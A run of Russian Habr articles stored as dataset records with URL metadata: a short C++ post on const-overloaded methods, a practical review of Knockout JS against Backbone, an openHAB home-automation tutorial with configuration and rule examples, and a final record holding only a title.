[](http://www.picamatic.com/view/6044036_dress11/)Обнаружил, что есть аспект работы C++, о котором я раньше как-то не задумывался. А именно: если у вас есть две реализации одного метода (перегрузка), отличающихся константностью \*this:
int & v();
const int & v() const;
когда и какой метод будет вызываться?
Пускай есть оба метода: и const, и не-const
===========================================
Сразу же боевой пример:
> `#include
>
> class A {
> public:
> int val;
> A(int x): val(x) {}
> int & v() {
> std::cout << "v()" << std::endl;
> return val;
> }
> const int & v() const {
> std::cout << "v() const" << std::endl;
> return val;
> }
> };
>
> int main() {
> std::cout << "test 1" << std::endl;
> A x(1);
> std::cout << "x.val = " << x.val << std::endl;
> x.v() = 3;
> std::cout << "x.val = " << x.val << std::endl;
>
> std::cout << "test 2" << std::endl;
> A const y(2);
> int a = x.v();
> int const b = x.v();
> int c = y.v();
> int const d = y.v();
> }
>
> \* This source code was highlighted with Source Code Highlighter.`
Оказывается он выдаёт: | https://habr.com/ru/post/76065/ | null | ru | null |
# Knockout, практический опыт использования
Некоторое время назад я обещал рассказать о нашем опыте работы с Knockout. Мы используем данную библиотеку в одном из проектов в течение последних 4 месяцев. Это немного, но за это время команда набрала некоторый опыт, который, я думаю, может быть интересен читателям.
Но для начала совсем чуть-чуть теории.
MVC, MVP и MVVM.
----------------
Если с первыми двумя шаблонами большинство более-менее знакомо, о о последнем слышали очень немногие: шаблон MVVM появился в Microsoft и получил распространение в среде .net-разработчиков, но и среди них он не так широко известен.
В чем весь сыр-бор? MVC прижился в вэбе во многом потому, что он отлично ложится на сценарий запрос-ответ. Пришел запрос, он передался на соответствующий контроллер, тот инициировал какие-то процессы в модели, а затем создается View. Обычно это темплейт, который заполняется данными из модели. Затем полученный маркап передается клиенту в браузер.
Основная черта такого сценария — краткое время жизни View — он создается на каждый запрос, просто заполняется данными в один проход — и все.
Когда появился Ajax, а вслед за ним single-page applications, оказалось, что Представление живет долго, и следовательно простым темплейтом уже не обойтись. Увеличенное время жизни означает усложнение того, что принято называть lifecycle, и следовательно — появления логики на View.
Естественно, никто этого не хочет, все хотят — чтобы логика приложения оказывалась в коде, а не в маркапе. Так ее легче содержать, легче тестировать и изменять. Что в таких случаях делают?
**Идея 1:** Enter MVP. Логику представления выносят в особый слой и объединяют с контроллером в Презентер. Задача презентера — отделить модель от представления, отвечать за передачу данных между ними и содержать в себе логику изменения представления.
Презентер — посредник. Он по идее мог бы быть stateful или stateless. Однако на деле в нем состояние есть всегда — это состояние вида. Альтернативой было бы содержать его в модели, но этого, естественно, тоже никто не хочет. Поэтому примем, что в Презентере состояние есть.
Если посмотрим на MVP применительно к web, то наш Презентер мог бы быть объектом в JavaScript с полями состояния. Как оно меняется через HTML и взаимодействие с пользователем? — Через события DOM. Т.е. наш Презентер — это объект с полями и event listener’ами для связи с View.
**Идея 2:** Для связи презентера с моделью также можно использовать эвенты. Т.е. всякий раз, когда в полях объекта-презентера происходит изменение, запускается соответствующий эвент. Обработчики событий вызывают бизнес-методы в модели, и результат также отражается в виде изменений значений других полей презентера. Опять вызываются события, но на этот раз это могут быть обработчики представления, например. Тогда изменения в модели отражаются в интерфейсе пользователя. Вот такой вот event-driven workflow.
**Идея 3:** Теперь если инфраструктуру обработки сообщений вынести из презентера, спрятать в отдельный фреймворк, то сам объект презентер превращается в простой объект с полями. Меняя значения полей, мы инициируем какие-то процессы в модели или в представлении. Такой простой объект получил название ViewModel — он с точки зрения нашей бизнес-логики моделирует интерфейс пользователя, не вдаваясь при этом в подробности.
В .net паттерн прижился во многом благодаря тому, что для лейаута UI компонентов они стали использовать XAML — маркап, в котором привязку элементов к полям ViewModel можно описать декларативно. С другой стороны, events поддерживаются на уровне фреймворка, поэтому реализовать привязку ViewModel и Model тоже можно очень удобно.
В JavaScript у нас такой поддержки событий нет, поэтому для реализации MVVM-шаблона требуется две вещи:
1. Механизм привязки свойств DOM-элементов к полям ViewModel.
2. PubSub-инфраструктура для поддержки евентов, связанных с изменением значений полей ViewModel.
Knockout JS
-----------
Knockout JS — как раз такой фреймворк, который реализует эти два механизма. Для связи View-ViewModel используются data-атрибуты HTML5.
Пример:
> `<div id=”customerDetails” data-bind=”visible: currentCustomer() !== null”>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
currentCustomer — поле в объекте ViewModel. Вообще-то это не совсем поле:
> `var vewModel = {
>
> currentCustomer: ko.observable(defaultCustomer),
>
> …
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как видите, значение поля оборачивается в ko.observable. Через эту обертку Knockout следит за тем, как меняется значение поля. Т.е. там вызываются соответствующие обработчики событий. Недостатком, конечно, является то, что приходится везде работать через вызов метода, писать скобочки.
> `viewModel.currentCustomer = joeCoder;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
превращается в
> `viewModel.currentCustomer(joeCoder);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Привыкнуть можно, но иногда скобочки в геттере забываются.
Чтобы подписаться, требуется писать следующее:
> `viewModel.currentCustomer.subscribe(function (newValue) {
>
> // this === context
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Так можно привязывать ViewModel к нашим бизнес-методам. Внутри фреймворка для всех data-bind-атрибутов на самом деле создаются такие же обработчики. Вся привязка инициируется вызовом
> `ko.applyBindings(viewModel)
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Так что на поверхности все вполне доступно — никакой магии.
Конечно, если б дело ограничивалось только этим, то уже было бы довольно мило. Но дядя Сандерсон пошел дальше.
**Во-первых, он сделал обертку для массивов: ko.observableArray.** Он, правда, умеет немного: pop, push, reverse, shift, sort, splice, unshift, slice, remove, removeAll, indexOf. Вполне достаточно для работы, но некоторых изысков underscore не хватает. Понятное дело, можно прочитать значение — сам массив, — провести с ним операции, а потом записать его обратно целиком. Но получается некрасиво (почему, объясню дальше). Поэтому лучше держаться того, что уже есть.
**Второе немаловажное дополнение — ko.dependentObservable().** Т.е. можно определить свойство в ViewModel, которое будет зависеть от других свойств. При этом нокаут ведет [автоматический треккинг зависимостей](https://github.com/SteveSanderson/knockout/blob/master/src/subscribables/dependentObservable.js "Читай исходники -")! Это одна из самых важных фич библиотеки — настоятельно рекомендую пользоваться. Опять же, внутри никакой магии. При расчете ko следит за тем, к каким observabl’ам идет обращение и добавляет их в треккер. В случае, если значение одного из этих свойств изменилось, вызывается пересчет для зависимого свойства. Понятное дело, что в качестве свойств-основ тоже могут выступать зависимые свойства.
Что можно делать с помощью dependentObservable? Основное его назначение — упрощать логику. Часто бывает, что в data-bind оказывается сложное условие. Выглядит это очень неуютно — JavaScript в моем HTML!!1. Дебаг этого условия так же оказывается неудобным — дебаггер не будет заходить в тело атрибута. Поэтому проще вынести условие или его компонент в виде dependentObservable и в дальнейшем работать с ним.
Кстати, к вопросу об отладке. Как я уже сказал, в тело атрибута дебаггер не заходит. Все потому, что в applyBindings фреймворк пробегается по всем тегам и для всех байндингов создает свои dependentObservables. Делает он это, естественно, через eval. Не очень хорошо, но это выбор между читаемостью и чистотой. Кстати, для тех, кто считает, что видеть куски JavaScript кода в атрибутах HTML — это возврат к inline обработчикам зари интернета навроде onclick, спешу сообщить, что никто не заставляет этого делать. Можно навесить их через DOM-api, как, например, показано здесь: [Unobtrusive Knockout support library for jQuery](https://gist.github.com/1006808 "Unobtrusive Knockout support library for jQuery")
**Что еще? Есть поддержка темплейтов jQuery-Tmpl.** В свое время ожидалось, что этот плагин станет частью jQuery, однако планы разработчиков поменялись. С другой стороны Микрософт его тоже активно уже не разрабатывает — единственный девелопер перешел к другим проектам. Так что проект немного мертворожденный — мой прогноз: он будет находиться в состоянии beta1 еще примерно год. Потом либо выкинут, либо доведут до ума.
Но даже для beta1 мне он показался достаточным, особенно в связке с Knockout. На самом деле в нашем проекте мы не используем темплейтной логики — всех этих выражений в фигурных скобках. Итерируемся мы через Knockout foreach, подставляем значения в тело и атрибуты тегов тоже через ko. Во-первых, начав применять data-bind-атрибуты, мы бы хотели применять их везде, а во-вторых при рендеринге через foreach в сочетании с операциями из ko.observableArray перерисовывается не вся коллекция, а только измененные элементы. Вот почему я считаю, что по возможности стоит ограничиваться только теми операциями.
Еще не стоит забывать, что в параметрах темплейта можно указать колбэк afterRender. С его помощью можно достроить в темплейте то, что силами байндингов строить неудобно, ну или выполнить какие-то дополнительные действия. Мы в afterRender инициируем виджеты, если таковые должны быть в темплейте. В колбэк передаются два параметра. Первый — это renderedNodesArray — фрагмент DOM, который отрендерил темплейт. Второй — data — данные, переданные темплейту.
Почему мне понравился этот фреймворк?
-------------------------------------
Во многом из-за декларативности. Я давно заметил, что чем большев моем коде условий, циклов и уровней вложенности, тем сложнее этот код понимать, содержать и отлаживать. Кроме того, если раньше мне все это нравилось, то теперь с опытом сами действия мне кажутся скучными — гораздо интереснее задачи и их решения, причем чем выше уровень описания решения, тем легче его понять и тем меньше шансов допустить в нем ошибку.
UI код отлаживать очень нелегко. С одной стороны, он не кажется особенно сложным, по сравнению с той же бизнес-логикой. С другой, к нему трудно подступиться, трудно выдрать его из контекста, трудно поместить его в юнит-тест, например. Knockout дает мне возможность описывать UI не с помощью кода, а с помощью правил. Это огромный плюс.
Тот факт, что правила описываются в маркапе, это тоже плюс — на мой взгляд. Вот секция, отвечающая за панель инструментов, и вот правила ее поведения. Очень удобно! Особенный жирный плюс за то, что маркап остается понятным для дизайнерских инструментов — никаких кастомных тегов, никаких XML неймспейсов. Любой редактор откроет ваш HTML без проблем.
Knockout *vs.* Backbone
-----------------------
Альтернативой Knockout сегодня для многих является Backbone. В нем есть много всего хорошего. Коллекции работают с underscore — это большой плюс при написании логики преобразования, фильтрации и т.п. Есть поддержка синхронизации данных с сервером, есть history management. Но при работе с UI я должен прописывать все связи модели с DOM руками. Это не сложно, но очень утомительно. Кода получается немного, особенно если сравнить вариант unobstrusive Knockout binding. Но тот факт, что этот монотонный код приходится писать вручную, очень огорчает.
С другой стороны, в Knockout нет ничего со стороны модели за пределами эвентов во ViewModel. Там-то как раз Backbone и силен. На деле ваш выбор в пользу той или иной библиотеки должен основываться на том, насколько большой в вашем коде составляющая UI или Model. Представьте, что вы пишите проект с нуля, не используя ни одну из этих библиотек. Если вы предвидите, что большая часть проблем возникнет на стороне DOM, то наверное, лучше взять Knockout, чтобы он облегчил вам жизнь. Если же основная сложность возникнет на стороне интеграции, то вам, возможно подойдет Backbone.
Основной плюс Backbone перед Knockout я лично вижу в Sync — способности синхронизировать данные с сервером. Однако Sync работает хорошо только в случае, когда серверное API подчиняется правилам REST. Многие думают, мол, здорово, сейчас я заставлю это работать. Однако они упускают з виду тот факт, что REST и JSON-over-HTTP — не одно и то же! Если с первым Backbone работает из коробки — просто указываешь URL ресурса, — то со вторым его нужно подпиливать. И тогда задаешься вопросом: а так ли уж Sync лучше, чем простой вызов $.ajax?
В нашем проекте пришлось иметь дело именно с JSON-over-HTTP. Кроме того, число видов сообщений, которые мы отправляем и принимаем с сервера, невелико, пока только четыре. Только один из них — синхронизация данных. Все остальное — разовые действия пользователей. Даже несмотря на то, что приходится писать эти вызовы самим, для моей команды это не слишком сложно.
Кстати о команде. Из четырех человек только я один имею опыт работы с JavaScript вообще. Чтобы начать работу, я провел с ними курс языка и библиотек. Оказалось, что для всех именно DOM api представляет наибольшую сложность, даже в облике jQuery. Отчасти это связанно с CSS и с тем, что они просто не знают, какой атрибут за что отвечает. Поэтому им очень понравилось, что можно всю работу с ним локализовать вокруг одного объекта — ViewModel. Работая над разными узлами, они практически не наступают друг другу на ноги.
Если вам интересно сравнение двух библиотек, есть [серия постов](http://ifandelse.com/?p=70 "Knockout.js vs. Backbone.js – Part 2"). Там описывается применение для простого сценария. Но сценарии бывают разными :)
Практика
--------
Давайте-ка я лучше расскажу о тех граблях, на которые приходится наступать, и тех моментах, которые вызывают сложность.
**1. Отличие ViewModel от Model.**
Не все чувствуют разницу. Простое правило:
* Model отвечает на вопрос “Что есть в моем приложении и что оно умеет делать?”
* ViewModel — на вопрос “Что я показываю на странице?”
К чему я это? А к тому, что многие начинают смотреть на ViewModel, как на модель. Тут у них возникает ряд вопросов. Например: в Презентере могут быть указаны список товаров, выделенный товар и индекс выделенного товара. Сразу же найдется кто-то, кто скажет, что не надо хранить и выделенный товар, и индекс — мол, данные дублируются. Однако в отличие от модели нам не важно, присутствует ли во ViewModel какая-то избыточность. Если она позволяет нам существенно упростить код приложения, то почему бы нет?
Многие также спрашивают, можно ли использовать несколько ViewModel. Можно, но нужно ли? Мы предпринимали такую попытку, но нашей ошибкой стало то, что делили мы обязанности между ViewModels в соответствии с их содержимиым — то есть работали с ними как с сущностями модели. Тогда как ViewModels представляет участки страницы и каждый из них работает только со своим участком. Потом, когда вам потребуется данные из одного ViewModel показать на другом участке страницы, напрямую через data-bind ничего не выйдет.
Так что мой вам совет: используйте один ViewModel для всей страницы — все будет просто работать. Есть риск, что объект станет большим, но никто не мешает вам в коде писать несколько раз
> `\_.extend(ViewModel, {
>
> // еще свойства и методы
>
>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Такими блоками можно разбить функциональность на модули.
**2. Несмотря на то, что в примерах к Knockout Model отсутствует напрочь, а сами сторонники заявляют вам с улыбкой, что [она-де на сервере](http://stackoverflow.com/questions/6520568/knockout-js-why-do-all-the-examples-only-contain-viewmodel-view-but-no-model), не верьте им.**
На клиенте модель тоже есть, и ее придется писать ручками — в отличие от Backbone Нокаут вам в этом помогать не будет. С другой стороны, не так оно и страшно, а ваш здравый смысл и общие правила гигиены вам помогут. Помните две вещи: события и модульность. Если ajax код становится для вас проблемой, посмотрите в сторону [AmplifyJS](http://amplifyjs.com/ "AmplifyJS").
**3. К сожалению, даже в тех редких случаях, когда Knockout хочет нам помочь в моделестроении, у него не очень получается.**
Метод ko.toJSON [не умеет работать с датами](http://stackoverflow.com/questions/5942789/in-knockoutjs-does-ko-tojson-work-with-dates), и пишет в них null. Есть способы это обойти, но все они немного корявые. Самый простой — добавить еще одно dependentObservable свойство со значением JSON.stringify(date()) — там окажется просто строка, которую можно отправить на сервер. Но некрасиво! — два поля на каждую дату, а маршаллинг работает только в одну сторону. Поэтому мы пошли другим путем: просто написали собственный обходчик для ViewModel, который осторожно обходится с датами. Благо ko предлагает метод unwrapObservable который возвращает простой объект. Работает он, правда, только на верхнем уровне, так что потом приходится обходить все свойства полученного объекта на случай, если где-то еще observables остались
**4. Несмотря на темплейтинг, иногда придется создавать DOM другими методами.**
Особенно это справедливо для виджетов и компонентов третьих сторон. В таких случаях ko тоже может мешать: например, когда компоненту требуется простой массив, а у нас это observableArray, т.е. в коде компонента:
> `items.pop()
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
а нам бы хотелось, чтобы там было
> `items().pop()
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Тут все зависит от ситуации. Иногда мы патчим компоненты для внутреннего использования — особенно, если они небольшие или если какие-то изменения в них уже были внесены. Но в большинстве случаев мы передаем туда unwrapped array, при этом приходится работать с подписками на изменения, чаще всего — писать два обработчика — на изменение данных в компоненте и на изменение данных во ViewModel.
**5. Knockout работает очень хорошо в рамках традиционных бизнес-сценариев.**
Формы, вывод данных, таблицы — если это именно то, что делает ваше приложение, то он вам подойдет на 100%.
Если у вас что-то экзотическое, например, работа с SVG и Canvas, много динамически создаваемых и изменяемых без вашего контроля DOM-элементов, как в нашем проекте, то у вас должны быть сомнения. Мы выбрали ko, так как в нашем проекте и от него, и от Backbone толку в целом не очень много — две трети кода вообще не связано с задачами, которые выполняют эти библиотеки. Но даже в оставшейся трети Knockout нам показался полезнее.
Knockout *и* Backbone
---------------------
У многих из вас в процессе чтения статьи могла возникнуть идея объединить Backbone и Knockout. К сожалению об этом проще сказать, чем сделать. Функциональность фреймворков во многом пересекается, трудно определить, где нужно провести грань между ними. Мы попробовали это сделать между Knockout ViewModel и Backbone Model, но код в результате стал слишком громоздким: пришлось писать синхронизатор данных, который по размеру в сочетании с моделью Backbone стал больше, чем то, что мы писали для связи ViewModel с сервером. Отладка тоже усложнилась, а Sync оказался не таким удобным в применении для наших сервисов, как мы надеялись.
Так что пока приходится выбирать между одним или другим. В будущем наверняка появятся байндинги в Backbone и аналог Sync в Нокауте. Если вы чувствуете себя первопроходцем, являетесь ярым сторонником Backbone и хотите, чтобы в нем тоже появились байндинги, я дам вам еще один совет. Присмотритесь к [jQuery-Link](http://api.jquery.com/link/ "jQuery-Link"). Это еще один плагин от Микрософт, который они также вяло дорабатывают, как и jQuery-Tmpl. Но тем не менее, он может стать основой для реализации байндингов.
Сами Microsoft по всей видимости заняли выжидательную позицию. Steve Sunderson — автор Knockout — работает у них, а видео с его презентации на MIX11 стало самым популярным, обгоняя все кейноуты и все презентации по IE10, performance optimization и будущем HTML5, EcmaScript и любым другим технологиям компании. Сейчас Стив совместно со звездой .net Скоттом Гатри колесит по миру и показывает всем свое творение. А на этой неделе он опубликовал новые обучающие материалы. Если фреймворк “взлетит”, то компания будет поддерживать его так же, как и jQuery.
Backbone тоже никуда не денется, к нему большой интерес среди рубистов, программистов NodeJS и всего авангарда JavaScript-сообщества. Так что выбирая любой из них можете быть уверены — не прогадаете! | https://habr.com/ru/post/124731/ | null | ru | null |
# OpenHAB — стань программистом собственного жилища
##### Дом — это машина для жилья
Ле Корбюзье
В этом посте я расскажу об *opensource* проекте домашней автоматизации [openHAB](http://www.openhab.org/).
openHAB переводится как "*Open Home Automation Bus*". Это значит, что он нацелен на создание универсальной платформы для объединения всей домашней «умной» техники в единую систему управления.
Что же это дает на практике? Под катом я расскажу о том, как с помощью этого решения можно создать **настоящий интернет вещей** в своем доме.
#### Что такое «единая платформа домашней автоматизации»?
Направление умных домов развивается уже давно. За это время появилось множество различных поставщиков «умного» оборудования (освещение, RGB подсветки, термостаты, приводы для штор/жалюзи, разнообразные датчики и т.п.) Все они работают на разных протоколах (проводных и беспроводных).
В результате, пользователь, желающий автоматизировать свое жилище, должен выбирать между продуктами от различных производителей. В конечном итоге ему приходится пользоваться разными системами (пульты, приложения) для контроля разных устройств. Вдобавок, задача создания полноценного интернета вещей (когда устройства могут быть связаны в единую цепь и управляться все вместе в результате каких-либо условий и событий) становится очень сложной.
**Простейший пример**Например, я хочу, чтобы при включении верхнего света в комнате, когда за окном уже темно, шторы автоматически закрывались. И наоборот — при открытии штор (когда они уже наполовину открыты) выключался верхний свет и включалась подсветка.
При условии, что привод штор — это ZWave, верхний свет — KNX, а подсветка — несколько цветных лампочек Phillips Hue, надо как-то научить их «разговаривать» между собой. Не забывайте также про условие относительно темного времени суток…
##### Чем поможет openHAB
openHAB реализует единую шину, т.е. позволяет объединить все устройства с разными протоколами в единую сеть, абстрагируя пользователя от каждого конкретного протокола. Таким образом, можно пользоваться единственным средством управления (скажем, приложением на смартфоне) и реализовать сколь угодно сложную логику взаимосвязи между устройствами.
#### Что отличает проект openHAB от аналогов?
**Во-первых**, он развивается уже довольно давно и уже сейчас готов к полноценному использованию. По своему личному опыту (впервые я начал работать с этой системой около года назад) могу сказать, что его освоение занимает совсем немного времени. И после этого он работает действительно так, как заявлено в описании.
Сейчас разработчики трудятся уже над вторым поколением платформы, основанной на специализированном фреймворке [Eclipse SmartHome](http://www.eclipse.org/smarthome/).
**Во-вторых**, это проект с открытым исходным кодом. А это значит, что весь код создается программистами со всего мира, которые заинтересованы в теме интернета вещей и создания единой системы умного дома. Этот код доступен в [репозитории GitHub](https://github.com/openhab/openhab).
**В-третьих**, в результате открытости уже сейчас openHAB поддерживает около 50 (*пятидесяти!*) различных протоколов «умных» устройств. Среди них ZWave, KNX, EnOcean, системы мультимедиа типа Sonos, кинотеатр XBMC, Samsung SmartTV и многие-многие другие. Это, в свою очередь, дает возможность пользователю выбирать устройства для своего дома по самым разнообразным параметрам, практически не ограничиваясь возможностями всей платформы.
#### Как это работает?
openHAB — это специальный сервер, который может работать на любом компьютере под управлением любой ОС (вы даже можете использовать RaspberryPi). Вся установка заключается в распаковывании дистрибутива сервера и установке *Java машины*. Далее начинается процесс настройки и созидания.
openHAB — это очень гибкий конструктор. Основанный на технологии *OSGi*, он позволяет конфигурировать каждый отдельный плагин (*Binding*) «налету», не перезагружая весь сервер.
Плагин (биндинг) в openHAB — это то самое связующее звено между конкретным протоколом устройства и единой системой openHAB. Пользователь может добавить в свою инсталяцию openHAB только те плагины, которые нужны именно ему. Например, если у вас есть только ZWave и Phillips Hue, то вам понадобятся только два биндинга.
После настройки связи между каждым устройством и соответствующим биндингом система сможет общаться с ним посредством простых команд, *абстрагированных от конкретного протокола*. Скажем, для включения/выключения есть команды ON/OFF, для открытия/закрытия UP/DOWN и т.д.
В дальнейшем, используя только такие абстрактные команды, можно будет создавать очень сложные сценарии и, что называется, программировать собственный дом.
#### Настройка item-ов и binding-ов
Каждое «умное» устройство в доме должно быть сконфигурировано в openHAB как один или несколько *item*-ов. Они описываются в специальном файле в директории *configuration/items*. Вот пример одного такого item-а
`Dimmer Light_GF_Living_Table "Table" (GF_Living, Lights)`
Здесь описан один item с именем Light\_GF\_Living\_Table и типом Dimmer. Т.е. это некое устройство, которое может быть диммировано (включено, выключено или изменить свое значение в диапазоне от 0 до 100). Как правило, диммерами являются различные световые приборы, но также это может быть диммируемая розетка, или что-либо еще.
Важно понимать, что *item в конфигурации не обязан быть отдельным устройством*. Скажем, я мог бы сконфигурировать диммер для управления только одной функцией какого-либо более сложного устройства, например, громкости домашнего кинотеатра или мощностью работы конвекторов. Вот пример использования диммера для управления громкостью:
`Dimmer Volume "Volume [%.1f %%]"`
Как видите, openHAB дает возможность использовать разные item-ы как элементы управления для всего, что подходит под какие-либо критерии (в данном случае, что-то должно уметь включаться, выключаться и принимать значение от 0 до 100).
Имя item-а дает возможность привязывать к нему элементы UI в конфигурации пользовательского интерфейса (sitemap) и обращаться к нему в коде ваших скриптов и правил (об этом чуть дальше).
В общем случае, синтаксис описания item-а таков
``itemtype itemname ["labeltext"] [] [(group1, group2, ...)] [{bindingconfig}]
Как видите, сперва идет тип (Switch, Dimmer, Color, String, Number, Rollershutter, DateTime, Contact, Group), затем уникальное в рамках файла имя, опциональные label (то, что будет отображено в UI), иконка (из набора openHAB), одна или несколько групп (для объединения устройств по смыслу или расположению) и собственно конфигурация самого биндинга - в фигурных скобках;
**Demo конфигурация**На сайте openHAB можно скачать demo конфигурацию, в которой можно увидеть, как описываются группы, item-ы и все остальное на примере довольно интересного варианта умного дома с использованием как простых устройств (выключателей, светильников), так и мультимедии.
Подробное описание каждого типа и список возможных команд представлен на странице Explanation-of-Items
#### Binding - или как связать item с устройством
Биндинг связывает item с каким-то конкретным устройством (или его функцией). Это нужно для того, чтобы openHAB преобразовывал абстрактные команды типа On/Off в конкретные сообщения нужного протокола, а также правильно интерпретировал сообщения от устройства. Вот пример KNX биндинга для простого переключателя:
Switch Light_GF_Living_Table "Table" (GF_Living, Lights) { knx="1/0/15+0/0/15" }`
У каждого биндинга **свой синтаксис конфигурации**. В openHAB это одна строчка в фигурных скобках, в которой необходимо указать все что нужно для связи с устройством по *конкретному протоколу*. Здесь указан протокол KNX и его конфигурация в виде двух адресов - 1/0/15 для управления и 0/0/15 для получения статуса от устройства.
**Какие биндинги уже есть**Как я уже сказал ранее, openHAB уже сейчас содержит в своем репозитории около 50-ти биндингов для самых разнообразных устройств и систем. Любой программист может реализовать свой собственных биндинг для какого-то устройства, для которого еще нет биндинга. Весь список можно найти на странице [Bindings](https://github.com/openhab/openhab/wiki/Bindings)
Среди вполне конкретных плагинов есть и абстрактные, как например Bluetooth биндинг, позволяющий управлять любым bluetooth устройством.
Также не забывайте, что у каждого биндинга есть набор глобальных настроек, которые нужно указать в файле *configuratnios/openhab.cfg*. Например, для KNX - это IP адрес knx шлюза, который связывает knx-шину с IP сетью.
#### Пользовательский интерфейс
Здесь openHAB предлагает довольно интересный способ построения UI "на лету" с помощью файлов описания sitemap. В директории *configuratnios/sitemaps* лежат файлы, в которых нужно описать то, как должен выглядеть пользовательский интерфейс (а точнее, его layout) для управления теми устройствами, которые мы описали в items. Вот простейший пример
```
sitemap demo label="Main Menu"
{
Frame label="Percent-based Widgets" {
Slider item=DimmedLight switchSupport
Colorpicker item=RGBLight icon="slider"
Switch item=DemoShutter
Slider item=DemoBlinds
}
}
```
Здесь UI состоит только из одного "фрейма" (не путать с фреймами в терминах HTML), в котором есть 4 элемента (два слайдера для управления диммерами, выбор цвета для подсветки, простой переключатель). Список всех возможных элементов интеофейса можно найти на странице [Sitemaps](https://github.com/openhab/openhab/wiki/Explanation-of-Sitemaps).
Почему UI нужно описывать именно так? Почему бы просто не использовать тот же HTML?
Дело в том, что sitemap - это абстрактное описание того, как должен выглядеть интерфейс. Любая программа (например, для смартфона) или javascript клиент в браузере может отрендерить интерфейс по такому описанию по-своему. Таким образом, openHAB абстрагирует описание интерфейса от конкретной реализации.
К слову, кроме веб-интерфейса openHAB предоставляет клиентов под Android и iOS (не учитывая того, что любой программист может написать своего собственного клиента под любую платформу). И что также важно - любое изменение sitemap приводит к измнению UI на клиенте **без перезагрузки сервера**.
**Как клиент взаимодействует с openHAB**С помощью [REST API](https://github.com/openhab/openhab/wiki/REST-API). openHAB сервер предоставляет такой API не только для посылки команд каждому item-у, но и для получения клиентом данных от устройств в режиме реального времени. Этот же REST API предоставляет информацию о sitemap для рендеринга UI.
#### Программируем "умный дом"
И вот наконец мы подобрались к самой интересной части - *программированию поведения умного дома*!
Все что было кратко описано до этого позволяет настроить связь item-ов с биндингами и правильно отобразить элементы управления в UI. Но openHAB еще предоставляет очень мощный инструмент программирования логики - скрипты и правила. С помощью них можно описать действительно умное поведение устройств в зависимости от разных условий.
Скрипты и правила описываются в файлах директорий *scripts* и *rules* соответсвенно на языке [Xtend](http://www.eclipse.org/xtend/documentation.html#Xtend_Expressions), разработанном Eclipse.
Если скрипт - это кусок кода, который может быть запущен в какой-то момент, то правила - это основной механизм автоматизации. На нем и остановимся подробнее.
И сразу пример простого правила:
```
/**
* This rules controls the volume on the local host
*/
rule "Volume control"
when
Item Volume received command
then
if(receivedCommand instanceof PercentType) {
setMasterVolume(receivedCommand as PercentType)
} else {
if(receivedCommand==INCREASE) increaseMasterVolume(20)
if(receivedCommand==DECREASE) decreaseMasterVolume(20)
}
postUpdate(Volume, masterVolume * 100)
end
```
При поступлении команд increase/decrease с диммера Volume срабатывает простое правило Volume control, которое увеличивает или уменьшает громкость системы, на которой работает opеnHAB сервер.
Вот еще один пример:
```
/**
* The following rules help initializing the demo items with some helpful states.
*/
rule "Initialize light states"
when
System started
then
Lights?.members.forEach(light|
postUpdate(light, if(Math::random > 0.7) ON else OFF)
)
end
```
Здесь при включении системы каждое устройство в группе Lights включается в 30 процентах случаев.
**Более жизненный пример**Однажды у меня была проблема в том, как управлять KNX подсветкой RGB. Мне нужно было преобразовать данные от единственного элемента UI Colorpicker в 3 сообщения (каждое для своего порта в RGB подсветке).
Конфигурация item-ов
```
Dimmer LedR "LED Red" { knx = "11/0/0+11/0/1, 11/0/2, 11/0/3+11/0/4" }
Dimmer LedG "LED Green" { knx = "11/0/5+11/0/6, 11/0/7, 11/0/8+11/0/9" }
Dimmer LedB "LED Blue" { knx = "11/0/10+11/0/11, 11/0/12, 11/0/13+11/0/14" }
Color RGB "RGB Light"
```
При этом в sitemap отображается только один элемент Colorpicker
```
{
Frame label="RGB" {
Colorpicker item=RGB
}
}
```
В итоге правило, преобразующее данные от Colorpicker в команды на каждый из диммеров выглядит вот так
```
var HSBType hsbValue
var String redValue
var String greenValue
var String blueValue
rule "Set RGB value"
when
Item RGB changed
then
hsbValue = RGB.state as HSBType
redValue = hsbValue.red.intValue.toString
greenValue = hsbValue.green.intValue.toString
blueValue = hsbValue.blue.intValue.toString
sendCommand( LedR, redValue )
sendCommand( LedG, greenValue )
sendCommand( LedB, blueValue )
end
```
Как видите, правила - это не только инструмент автоматизации, но и способ обойти некоторые ограничения или реализовать особенности конкретного устройства.
Да, изменение в исходнике правила также приведет к его автоматической перезагрузке без перезапуска. Подробности о возможностях правил и скриптов, а также множество примеров можно найти на странице [Rules](https://github.com/openhab/openhab/wiki/Rules)
##### Триггеры
Каждое правило начинает выполняться только при срабатывании одного из триггеров, описанного между when и then. Триггер - это некоторое событие:
* поступление команды от item-а (например, при включении Switch через UI)
* изменение состояния item-а (например, в момент открытия штор от привода последовательно приходят значения от 0 до 100)
* изменение текущего времени на сервере openHAB (например, `Time is midnight`)
* старт или остановка сервера opnaHAB
Как видите, типов триггеров вполне достаточно, чтобы реализовать любую логику автоматизации, основанную на различных событиях.
В теле правила к любому item-у или группе можно обращаться непосредственно по его уникальному имени, указанному вами в настройках. Таким образом, любое правило может связать любые устройства, сконфигурированные в системе, воедино так, чтобы реализовать нужное поведение.
**IDE для написания правил и скриптов**openHAB также предоставляет IDE для того, чтобы можно было легче писать скрипты. IDE называется openHAB Designer и распространяется для кажой отдельной ОС.
В итоге вы получаете средство автокомплита и подсветки синтаксиса, что несколько упрощает написание кода на Xtend. Часто пользователи воспринимают название Designer как некое средство визуализации. Это не так - никакой визуализации там нет :)
Освоить Xtend в рамках описания логики умного дома несложно. Главное понимать цель, которую хочется достичь в результате работы правила или скрипта и возможности самих устройств.
#### В итоге
openHAB дает действительно интересную возможность своими силами запрограммировать "умный дом", не ограничивая себя в выборе устройств и тех протоколов, на которых они работают.
Здесь я постарался очень кратко рассказать о самом основном, что несет нам весь проект. По моему личному опыту могу сказать, что автоматизация с openHAB, конечно же, не лишена недостатков, но все же превращается в очень увлекательное занятие.
*Если у вас возникнут вопросы или пожелания по теме следующей статьи, с удовольствием готов более полно раскрыть какую-либо сторону использования openHAB.*` | https://habr.com/ru/post/232969/ | null | ru | null |
# Произвольный порядок списка инициализации шаблона
